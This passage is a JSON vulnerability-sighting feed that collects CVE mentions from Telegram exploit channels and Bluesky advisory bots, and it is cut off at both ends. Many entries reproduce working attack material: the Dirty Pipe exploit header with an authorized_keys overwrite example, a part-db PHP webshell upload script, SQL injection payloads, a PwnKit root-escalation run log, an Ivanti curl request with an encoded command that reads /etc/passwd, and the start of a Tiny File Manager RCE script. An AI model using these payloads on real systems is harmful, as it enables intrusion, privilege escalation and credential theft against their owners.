page cache, even if the file is not permitted\n* to be written, immutable or on a read-only mount.\n*\n* This exploit requires Linux 5.8 or later; the code path was made\n* reachable by commit f6dd975583bd (\"pipe: merge\n* anon_pipe_buf*_ops\").  The commit did not introduce the bug, it was\n* there before, it just provided an easy way to exploit it.\n*\n* There are two major limitations of this exploit: the offset cannot\n* be on a page boundary (it needs to write one byte before the offset\n* to add a reference to this page to the pipe), and the write cannot\n* cross a page boundary.\n*\n* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\\nssh-ed25519 AAA......\\n'\n*\n* Further explanation: https://dirtypipe.cm4all.com/\n*/\n\n#define _GNU_SOURCE\n#include <unistd.h\n#include <fcntl.h\n#include <stdio.h\n#include <stdlib.h\n#include <string.h\n#include <sys\n#include <sys\n#include <stdint.h\n\n#ifndef PAGE_SIZE\n#define PAGE_SIZE 4096", "vulnerability": "CVE-2022-0847", "author": {"login": "automation"}}, {"uuid": "92c9192a-32ed-40c4-98fd-027f4d0b7c45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:04.991301+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45373", "content": "Exploit Collector\npart-db 0.5.11 Remote Code Execution\n\nhttps://4.bp.blogspot.com/-gp6vAY2GXMM/WWlvG3cWkQI/AAAAAAAAILY/aMDesAGFEocqJU-7SaIaO870_Bbf2ZUHACLcBGAs/s1600/h139.png \npart-db version 0.5.11 suffers from a remote code execution vulnerability.\n\nMD5 | 0a4b599d9e4ab630547f878d967ae1f8\n\nDownload\n# Exploit Title: part-db 0.5.11 - Remote Code Execution (RCE)\n# Google Dork: NA\n# Date: 03/04/2022\n# Exploit Author: Sunny Mehra @DSKMehra\n# Vendor Homepage: https://github.com/part-db/part-db\n# Software Link: https://github.com/part-db/part-db\n# Version: [ 0.5.11.] \n# Tested on: [KALI OS]\n# CVE : CVE-2022-0848\n#\n---------------\n\n#!/bin/bash\nhost=127.0.0.1/Part-DB-0.5.10 #WEBHOST\n#Usage: Change host \n#Command: bash exploit.sh\n#EXPLOIT BY @DSKMehra\necho \"POC.phtml  #PHP Shell Code\nresult=`curl -i -s -X POST -F \"logo_file=@POC.phtml\" \"http://$host/show_part_label.php\" | grep -o -P '(?<=value=\"data\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-0848", "author": {"login": "automation"}}, {"uuid": "c6326fd8-045e-47ef-a687-b5a1b1f28ec8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:04.954525+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45400", "content": "PROPHET SPIDER Exploits Citrix ShareFile Remote Code Execution Vulnerability CVE-2021-22941 to Deliver Webshell\nhttps://www.reddit.com/r/redteamsec/comments/t906cw/prophet_spider_exploits_citrix_sharefile_remote/\n\n  submitted by    /u/dmchell  (https://www.reddit.com/user/dmchell) \n [link] (https://www.crowdstrike.com/blog/prophet-spider-exploits-citrix-sharefile/)   [comments] (https://www.reddit.com/r/redteamsec/comments/t906cw/prophet_spider_exploits_citrix_sharefile_remote/)\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-22941", "author": {"login": "automation"}}, {"uuid": "f76ee9a8-d052-4987-ac59-92d3bd5936e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:04.923093+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/44788", "content": "Exploit Collector\nCar Driving School Management 1.0 SQL Injection\n\nhttps://3.bp.blogspot.com/-L1ywDwIvHnM/WWlvbqBqi6I/AAAAAAAAIPQ/e-y1sGxHKpMGeO7A8b-5LHWSXrbuRWhUwCLcBGAs/s1600/h73.png \nCar Driving School Management version 1.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | 93a8b3fb52268fedea1b0ec1f090ea42\n\nDownload\n## Title: Car Driving School Management v1.0 SQLi\n## Author: nu11secur1ty\n## Date: 03.02.2022\n## Vendor: https://www.sourcecodester.com/users/tips23\n## Software: https://www.sourcecodester.com/php/15070/car-driving-school-management-system-phpoop-free-source-code.html\n## Reference: https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571\n\n## Description:\nThe `username` parameter on Car Driving School Management v1.0 appears\nto be vulnerable to SQL injection attacks.\nA single quote was submitted in the username parameter, and a database\nerror message was returned.\nTwo single quotes were then submitted and the error message disappeared.\nThe attacker can take administrator account control and also of all\naccounts on this system, also the malicious user can download all\ninformation about this system.\n\nStatus: CRITICAL\n\n[+] Payloads:\n\n```mysql\n\n---\nParameter: username (POST)\nType: boolean-based blind\nTitle: OR boolean-based blind - WHERE or HAVING clause (NOT)\nPayload: username=DMdqCjGG' OR NOT 6823=6823-- yrqx&password=a5Y!f7m!O0\n\nType: error-based\nTitle: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or\nGROUP BY clause (FLOOR)\nPayload: username=DMdqCjGG' AND (SELECT 9746 FROM(SELECT\nCOUNT(*),CONCAT(0x71786b7671,(SELECT\n(ELT(9746=9746,1))),0x7171787a71,FLOOR(RAND(0)*2))x FROM\nINFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- gzNl&password=a5Y!f7m!O0\n\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: username=DMdqCjGG' AND (SELECT 9290 FROM\n(SELECT(SLEEP(5)))RWHi)-- vsyd&password=a5Y!f7m!O0\n---\n\n```\n\n## Reproduce:\n[href](https://github.com/nu11secur1ty/CVE-mitre/blob/main/2022/CVE-2022-24571)\n\n## Proof and Exploit:\n[href](https://streamable.com/n9r8uk)\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24571", "author": {"login": "automation"}}, {"uuid": "8cb0bd48-71d8-4c25-8383-4cdedee02be7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:04.877830+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45307", "content": "PwnKit-Exploit - Proof Of Concept (PoC) CVE-2021-4034\nhttp://www.kitploit.com/2022/03/pwnkit-exploit-proof-of-concept-poc-cve.html\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "16bb84a6-33ad-42a2-adad-36cbdd55a2be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:04.831782+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45310", "content": "Proof Of Concept (PoC) CVE-2021-4034\u00a0  @c0br40x help to make this section in README!!\nProof of Concept\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "f8d2104c-bd9c-4101-acaa-1660b5fad903", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T06:00:04.773719+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/45332", "content": "KitPloit - PenTest Tools!\nPwnKit-Exploit - Proof Of Concept (PoC) CVE-2021-4034\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEhqNMnJx-NhcmnKUWBmyvQw9M1B_gCgM9UigjRhwqQBqyfluJaic1E0HT09Ccvngjr_ZBqZfMDRz20gR3QJnYvqmoZmuws7U7fWT5o3_ixiRZns-f95og1FP57F0SlY7HDOMaCkHIZk8wVh-YGFQ2YOAWgjck6xrU4F4GrOXe4BRu349gHNanQkaWW1=w273-h400 https://blogger.googleusercontent.com/img/a/AVvXsEj2ywNzLgoT_wP9Dkc2AwHxBzcnWzbPVaejvjZCfApZJn7dRkwx3e1V67bGwd7PSxOOHg4eswo2qguiSU2NY1Ecbc-zeTv_lfKh8Eds20RoMNr_BNe3bXWwCJ_-zv0QLSy1P3Mkmg7TJZ33s9DEvFPEyVQsaHc4VhGfRw4tSfCqg3BvMxBsCSbyCfA2=w400-h200 Proof Of Concept (PoC) CVE-2021-4034 \n@c0br40x help to make this section in README!! Proof of Concepthttps://blogger.googleusercontent.com/img/a/AVvXsEgNX-HnmAk-61Qs5ZEX_MNxpsjz_fLKqQypNLjr_47YNbNpAcMWXudZohMJlaa4Kxxuz_Baeh7qGLg_AALEP6Xcc3vibaMj9JkCr6ga0qYU0agEXM5WiMqxBklZ3DVEJb7-DR-3NgW9M--UQ5sCYQKQfxgX-Bkkt1nyV3litenJfjDq9SM2VuTfev0T=w640-h522 debian@debian:~/PwnKit-Exploit$ make\ncc -Wall    exploit.c   -o exploit\ndebian@debian:~/PwnKit-Exploit$ whoami\ndebian\ndebian@debian:~/PwnKit-Exploit$ ./exploit\nCurrent User before execute exploit\nhacker@victim$whoami: debian\nExploit written by @luijait (0x6c75696a616974)\n[+] Enjoy your root if exploit was completed succesfully\nroot@debian:/home/debian/PwnKit-Exploit# whoami\nroot\nroot@debian:/home/debian/PwnKit-Exploit# FixCommand Use sudo chmod 0755 pkexecFix CVE 2021-4034 Installation & Usegit clone https://github.com/luijait/PwnKit-Exploitcd PwnKit-Exploitmake./exploitwhoamiCommand Utility make cleanClean build to test code modified ExplanationBased blog.qualys.com\n\nThe beginning of pkexec\u2019s main() function processes the command-line arguments (lines 534-568), and searches for the program to be executed, if its path is not absolute, in the directories of the PATH environment variable (lines 610-640): 435 main (int argc, char *argv[])\n436 {\n...\n534   for (n = 1; n < (guint) argc; n++)\n535     {\n...\n568     }\n...\n610   path = g_strdup (argv[n]);\n...\n629   if (path[0] != '/')\n630     {\n...\n632       s = g_find_program_in_path (path);\n...\n639       argv[n] = path = s;\n640     }unfortunately, if the number of command-line arguments argc is 0 \u2013 which means if the argument list argv that we pass to execve() is empty, i.e. {NULL} \u2013 then argv[0] is NULL. This is the argument list\u2019s terminator. Therefore:\n\nat line 534, the integer n is permanently set to 1;  at line 610, the pointer path is read out-of-bounds from argv[1];  at line 639, the pointer s is written out-of-bounds to argv[1].  But what exactly is read from and written to this out-of-bounds argv[1]?\n\nTo answer this question, we must digress briefly. When we execve() a new program, the kernel copies our argument, environment strings, and pointers (argv and envp) to the end of the new program\u2019s stack; for example: |---------+---------+-----+------------|---------+---------+-----+------------| \n| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] | \n|----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------| \nV         V                V           V         V                V \n\n\"program\" \"-option\"           NULL      \"value\" \"PATH=name\"          NULL Clearly, because the argv and envp pointers are contiguous in memory, if argc is 0, then the out-of-bounds argv[1] is actually envp[0], the pointer to our first environment variable, \u201cvalue\u201d. Consequently:\n\nAt line 610, the path of the program to be executed is read out-of-bounds from argv[1] (i.e. envp[0]), and points to \u201cvalue\u201d;  At line 632, this path \u201cvalue\u201d is passed to g_find_program_in_path()  (because \u201cvalue\u201d does not start with a slash, at line 629);  Then, g_find_pr[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "a2215565-f4eb-476b-a411-54fd6cd5881b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:58:24.430189+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/2w6vkimf37bns", "content": "CVE-2026-86167 - Tenda HG10 Boa formgponConf os command injection\nCVE ID : CVE-2026-86167\n \n Published : Sept. 6, 2026, 4:30 a.m. | 57\u00a0minutes ago\n \n Description : A vulnerability was identified in Tenda HG10 300001138. Impacted is the function formgponConf of the file /boafor...", "vulnerability": "CVE-2026-86167", "author": {"login": "automation"}}, {"uuid": "0203b8c3-2fb4-44c2-a130-61f2e2774b73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:56:59.955841+00:00", "type": "seen", "source": "https://bsky.app/profile/bot-de-florian.bsky.social/post/3mutcpqnlqz2p", "content": "\ud83d\udd13 Citrix NetScaler : contournement d'authentification critique (CVE-2026-19490) d\u00e9sormais exploit\u00e9 dans la nature. https://www.bleepingcomputer.com/news/security/hackers-target-critical-citrix-netscaler-auth-bypass-in-attacks/", "vulnerability": "CVE-2026-19490", "author": {"login": "automation"}}, {"uuid": "0f8f2994-3e3d-4055-80d0-545e8d8f3a89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:56:59.483505+00:00", "type": "seen", "source": "https://bsky.app/profile/bot-de-florian.bsky.social/post/3mutcpqibzs22", "content": "\u26a0\ufe0f Alerte CERT-FR : SonicWall SMA 1000, SSRF critique exploitable sans authentification (CVE-2026-83548). https://www.cert.ssi.gouv.fr/alerte/CERTFR-2026-ALE-009", "vulnerability": "CERTFR-2026-ALE-009", "author": {"login": "automation"}}, {"uuid": "df485ba7-93d9-43ba-83d2-432d55dd1233", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:56:59.410213+00:00", "type": "seen", "source": "https://bsky.app/profile/bot-de-florian.bsky.social/post/3mutcpqibzs22", "content": "\u26a0\ufe0f Alerte CERT-FR : SonicWall SMA 1000, SSRF critique exploitable sans authentification (CVE-2026-83548). https://www.cert.ssi.gouv.fr/alerte/CERTFR-2026-ALE-009", "vulnerability": "CVE-2026-83548", "author": {"login": "automation"}}, {"uuid": "4d30b695-b3e1-4ef2-98da-36e6fde81255", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:56:58.796064+00:00", "type": "seen", "source": "https://bsky.app/profile/bot-de-florian.bsky.social/post/3mutcppzm322t", "content": "\ud83d\udee1\ufe0f Revue cyber du 06/09 :\n\ud83d\udea8 Chrome zero-day CVE-2026-85046 activement exploit\u00e9e, correctif d'urgence. Avis : https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-1112", "vulnerability": "CVE-2026-85046", "author": {"login": "automation"}}, {"uuid": "8969a63d-fa0e-48c5-8a2a-721e0b8e69be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:52:24.435492+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/6mlzij7zejqds", "content": "CVE-2026-86165 - Tenda HG10 formURL buffer overflow\nCVE ID : CVE-2026-86165\n \n Published : Sept. 6, 2026, 4:18 a.m. | 1\u00a0hour, 9\u00a0minutes ago\n \n Description : A vulnerability was found in Tenda HG10 300001138. This vulnerability affects the function formURL of the file /boaform/...", "vulnerability": "CVE-2026-86165", "author": {"login": "automation"}}, {"uuid": "6f0a2990-a030-452e-b407-af729be899be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:46:24.330916+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/7vnlfkoyzfdv2", "content": "CVE-2026-86166 - Tenda HG10 Boa Web Server formWanRedirect buffer overflow\nCVE ID : CVE-2026-86166\n \n Published : Sept. 6, 2026, 4:18 a.m. | 1\u00a0hour, 9\u00a0minutes ago\n \n Description : A vulnerability was determined in Tenda HG10 300001138. This issue affects the function formWanRe...", "vulnerability": "CVE-2026-86166", "author": {"login": "automation"}}, {"uuid": "b98bd9d4-dc6b-40ab-9888-becea8532886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:40:25.205873+00:00", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/4poraz7h7yiac", "content": "CVE-2026-86164 - itsourcecode Sales and Inventory System trans_view.php sql injection\nCVE ID : CVE-2026-86164\n \n Published : Sept. 6, 2026, 4:18 a.m. | 1\u00a0hour, 9\u00a0minutes ago\n \n Description : A security flaw has been discovered in itsourcecode Sales and Inventory System 1.0. Af...", "vulnerability": "CVE-2026-86164", "author": {"login": "automation"}}, {"uuid": "64161ce8-5fa7-444e-a089-e4cfd6f06e43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:02:01.401595+00:00", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mut7nhaia625", "content": "Daily IT Security Digest \u2014 2026-09-06\nhttps://infosec.exchange/@beyondmachines1/117218796568637955\n\n**2. Google Patches Actively Exploited Chrome V8 Zero-Day (CVE-2026-85046)**\nGoogle released Chrome updates patching 12 vulnerabilities including CVE-2026-85046, a type confusion zero-day in the V8", "vulnerability": "CVE-2026-85046", "author": {"login": "automation"}}, {"uuid": "a827e080-a9c8-4ce8-ac2e-c76666c9f00d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:02:00.772797+00:00", "type": "seen", "source": "https://bsky.app/profile/hermes71.bsky.social/post/3mut7ngorv72w", "content": "Daily IT Security Digest \u2014 2026-09-06\n# Daily IT Security Digest \u2014 2026-09-06\n\n**1. Citrix NetScaler Critical Auth Bypass Actively Exploited (CVE-2026-19490)**\nThreat actors are actively exploiting a critical authentication bypass in Citrix NetScaler ADC and Gateway appliances that allows", "vulnerability": "CVE-2026-19490", "author": {"login": "automation"}}, {"uuid": "08f64379-d02b-4636-baa3-c4723cba8b9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:33.284625+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mut7ksxa5t23", "content": "\ud83d\udd34 CVE-2026-16310 - Critical (9.8)\n\nThe MemberDash plugin for WordPress is vulnerable to Insecure Direct Object Reference in all vers...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-16310/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-16310", "author": {"login": "automation"}}, {"uuid": "b13d2f35-5b30-4a3b-919f-5b7db9ba8ff4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:25.547975+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mut7kl2tup2z", "content": "\ud83d\udd34 CVE-2026-75816 - Critical (9.8)\n\nThe Frontend Admin by DynamiApps plugin for WordPress is vulnerable to Authentication Bypass to A...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-75816/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-75816", "author": {"login": "automation"}}, {"uuid": "7ca0fc46-8a96-4b3a-a35d-e219a699238b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:17.455352+00:00", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mut7kddpn42p", "content": "\ud83d\udfe0 CVE-2026-18056 - High (7.5)\n\nThe HivePress Authentication plugin for WordPress is vulnerable to Authentication Bypass via the ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-18056/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "vulnerability": "CVE-2026-18056", "author": {"login": "automation"}}, {"uuid": "2a00897c-ca7d-4a78-8158-e56adcc8250a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:08.054192+00:00", "type": "seen", "source": "https://t.me/GithubRedTeam/101312", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #XSS #CVE #Reflected\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2021-3030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a athosgonzaga\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-06 00:17:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nAdvisory: Cute Editor 6.4 reflected XSS via 'Theme' parameter in colorpicker_more.aspx\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "vulnerability": "CVE-2021-3030", "author": {"login": "automation"}}, {"uuid": "e3e74954-4cd5-4945-b73b-89311cfe6baf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:08.009427+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/47295", "content": "Exploit Collector\nImpressCMS 1.4.2 Incorrect Access Control\n\nhttps://4.bp.blogspot.com/-INMz00VTlDg/WWlvPzJvf6I/AAAAAAAAIM4/tZDwU9OuM_wuiTGIuyom6E8lddjUI2D5ACLcBGAs/s1600/h29.png \nImpressCMS versions 1.4.2 and below suffer from an incorrect access control vulnerability.\n\nMD5 | 3eef0d54701c87520c4c7a944b7f47a5\n\nDownload\n--------------------------------------------------------------------------\nImpressCMS <=\n--------------------------------------------------------------------------\n[-] Software Link:\n\nhttps://www.impresscms.org\n[-] Affected Versions:\n\nVersion 1.4.2 and prior versions.\n[-] Vulnerability Description:\n\nThe vulnerability is located in the /include/findusers.php script:\n\n16.    include \"../mainfile.php\";\n17.    xoops_header(false);\n18.\n19.    $denied = true;\n20.    if (!empty($_REQUEST['token'])) {\n21.        if (icms::$security->validateToken($_REQUEST['token'], false)) {\n22.            $denied = false;\n23.        }\n24.    } elseif (is_object(icms::$user) && icms::$user->isAdmin()) {\n25.        $denied = false;\n26.    }\n27.    if ($denied) {\n28.        icms_core_Message::error(_NOPERM);\n29.        exit();\n30.    }        }\n\nThis script should be accessible to authenticated users only. However, \nbecause of the \"if\" statement at lines 20-23, this script could be \naccessed by unauthenticated attackers if they will provide a valid \nsecurity token. Such a token will be generated in several places within \nthe application, and some of them do not require the user to be \nauthenticated, like in the misc.php script. This might be exploited to \naccess an otherwise restricted functionality of the application, which \nin turn might allow an information disclosure about the CMS users.\n[-] Solution:\n\nUpgrade to version 1.4.3 or later.\n[-] Disclosure Timeline:\n\n[19/01/2021] - Vendor notified through HackerOne\n[03/02/2021] - CVE number assigned\n[06/02/2022] - Version 1.4.3 released\n[22/03/2022] - Public disclosure\n[-] CVE Reference:\n\nThe Common Vulnerabilities and Exposures project (cve.mitre.org)\nhas assigned the name CVE-2021-26598 to this vulnerability.\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n[-] Other References:\n\nhttps://hackerone.com/reports/1081137\n[-] Original Advisory:\n\nhttp://karmainsecurity.com/KIS-2022-03\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2021-26598", "author": {"login": "automation"}}, {"uuid": "6ea246b3-9a0e-4e82-952c-cf98621ebb8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.961104+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/47189", "content": "Exploit Collector\nIvanti Endpoint Manager CSA 4.5 / 4.6 Remote Code Execution\n\nhttps://2.bp.blogspot.com/-v3K-Hxbn0Es/WWlvhvX1clI/AAAAAAAAIQY/UsJ0X_N1RWgdGsUiiIhYa-pG6QWPEsSmwCLcBGAs/s1600/h91.png \nIvanti Endpoint Manager CSA versions 4.5 and 4.6 suffer from an unauthenticated remote code execution vulnerability.\n\nMD5 | 59d3bc20720bd412425b82923627b636\n\nDownload\n# Exploit Title: Ivanti Endpoint Manager - Cloud Service Appliance (Unauthenticated Remote Code Execution) \n# Date: 20/03/2022 \n# Exploit Author: d7x \n# Vendor Homepage: https://www.ivanti.com/ \n# Software Link: https://forums.ivanti.com/s/article/Customer-Update-Cloud-Service-Appliance-4-6 \n# Version: CSA 4.6 4.5 - EOF Aug 2021 \n# Tested on: Linux x86_64 # CVE : CVE-2021-44529\n# CVE : CVE-2021-44529\n\n###\nThis is the RCE exploit for the following advisory (officially discovered by Jakub Kramarz): \nhttps://forums.ivanti.com/s/article/SA-2021-12-02?language=en_US\n\nShoutouts to phyr3wall for providing a hint to where the obfuscated code relies\n\n@d7x_real\nhttps://d7x.promiselabs.net\nhttps://www.promiselabs.net\n###\n\n# cat /etc/passwd\ncurl -i -s -k -X $'GET' -b $'e=ab; exec=c3lzdGVtKCJjYXQgL2V0Yy9wYXNzd2QiKTs=; pwn=; LDCSASESSID=' 'https://.../client/index.php' | tr -d \"\\n\" | grep -zPo '\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-44529", "author": {"login": "automation"}}, {"uuid": "95322396-3d7a-4fbd-bca3-8d89792cb9a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.914306+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/47281", "content": "Exploit Collector\nImpressCMS 1.4.2 Authentication Bypass\n\nhttps://4.bp.blogspot.com/-42b-8Yu8ql4/WWlvfoDuyhI/AAAAAAAAIQE/GMGQD7Uo7DMncRccI_LNcWgfvYRkd0zwQCLcBGAs/s1600/h86.png \nImpressCMS versions 1.4.2 and below suffer from an authentication bypass vulnerability.\n\nMD5 | cb96afceb1d5f28665500ba31bf166ab\n\nDownload\n-----------------------------------------------------------------------\nImpressCMS <=\n-----------------------------------------------------------------------\n[-] Software Link:\n\nhttps://www.impresscms.org\n[-] Affected Versions:\n\nVersion 1.4.2 and prior versions.\n[-] Vulnerability Description:\n\nThe vulnerability is located in the /plugins/preloads/autologin.php script:\n\n45.            $uname = $myts->stripSlashesGPC($autologinName);\n46.            $pass = $myts->stripSlashesGPC($autologinPass);\n47.            if (empty($uname) || is_numeric($pass)) {\n48.                $user = false ;\n49.            } else {\n50.                // V3\n51.                $uname4sql = addslashes($uname);\n52.                $criteria = new icms_db_criteria_Compo(new \nicms_db_criteria_Item('login_name', $uname4sql));\n53.                $user_handler = icms::handler('icms_member_user');\n54.                $users = $user_handler->getObjects($criteria, false);\n55.                if (empty($users) || count($users) != 1) {\n56.                    $user = false ;\n57.                } else {\n58.                    // V3.1 begin\n59.                    $user = $users[0] ;\n60.                    $old_limit = time() - \n(defined('ICMS_AUTOLOGIN_LIFETIME') ? ICMS_AUTOLOGIN_LIFETIME : 604800);\n61.                    list($old_Ynj, $old_encpass) = explode(':', $pass);\n62.                    if (strtotime($old_Ynj) < $old_limit || \nmd5($user->getVar('pass') .\n63.                            ICMS_DB_PASS . ICMS_DB_PREFIX . $old_Ynj) \n!= $old_encpass)\n64.                    {\n65.                        $user = false;\n66.                    }\n\nUser input passed through the \"autologin_uname\" and \"autologin_pass\" \ncookie values is being used at lines 51-54 to fetch an user object from \nthe database, and then at lines 62-63 to check the correctness of the \nuser's password. The vulnerability exists because of an unsafe way of \ncomparing those parameters, due to comparison operator != is being used \ninstead of !== within the \"if\" statement at lines 62-63. The latter \noperator returns \"true\" only if the compared values are equal and the \nsame type, while the first compares the values after \"type juggling\". \nThis might be exploited to potentially bypass the authentication \nmechanism and login as any user without the knowledge of the password.\n[-] Solution:\n\nUpgrade to version 1.4.3 or later.\n[-] Disclosure Timeline:\n\n[20/01/2021] - Vendor notified through HackerOne\n[02/02/2021] - Vendor replied this has been resolved and will be in \nImpressCMS 1.4.3\n[03/02/2021] - CVE number assigned\n[06/02/2022] - Version 1.4.3 released\n[22/03/2022] - Public disclosure\n[-] CVE Reference:\n\nThe Common Vulnerabilities and Exposures project (cve.mitre.org)\nhas assigned the name CVE-2021-26600 to this vulnerability.\n[-] Credits:\n\nVulnerability discovered by Egidio Romano.\n[-] Other References:\n\nhttps://hackerone.com/reports/1081986\n[-] Original Advisory:\n\nhttp://karmainsecurity.com/KIS-2022-01\n\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2021-26600", "author": {"login": "automation"}}, {"uuid": "99c95785-4750-4371-b866-c157e09e9944", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T05:00:07.866446+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/46568", "content": "Exploit Collector\nTiny File Manager 2.4.6 Shell Upload\n\nhttps://2.bp.blogspot.com/-OQpvXY0U-U0/WWlvZUlJM8I/AAAAAAAAIOw/4zP2-mVc-vo2HWf5V3aXS_jzwpZLTa24QCLcBGAs/s1600/h59.png \nTiny File Manager version 2.4.6 suffers from an authenticated remote shell upload vulnerability.\n\nMD5 | 56aefa95418a94bb95e57a7450745e0e\n\nDownload\n# Exploit Title: Tiny File Manager 2.4.6 - Remote Code Execution (RCE)\n# Date: 14/03/2022\n# Exploit Author: FEBIN MON SAJI\n# Software Link: https://github.com/prasathmani/tinyfilemanager\n# Version: Tiny File Manager <=\n# Tested on: Ubuntu 20.04\n# CVE : CVE-2021-40964\n# Reference: https://febin0x4e4a.wordpress.com/2022/01/23/tiny-file-manager-authenticated-rce/\n\n#!/bin/bash\n\ncheck(){\n\nwhich curl\nif  [ $? = 0 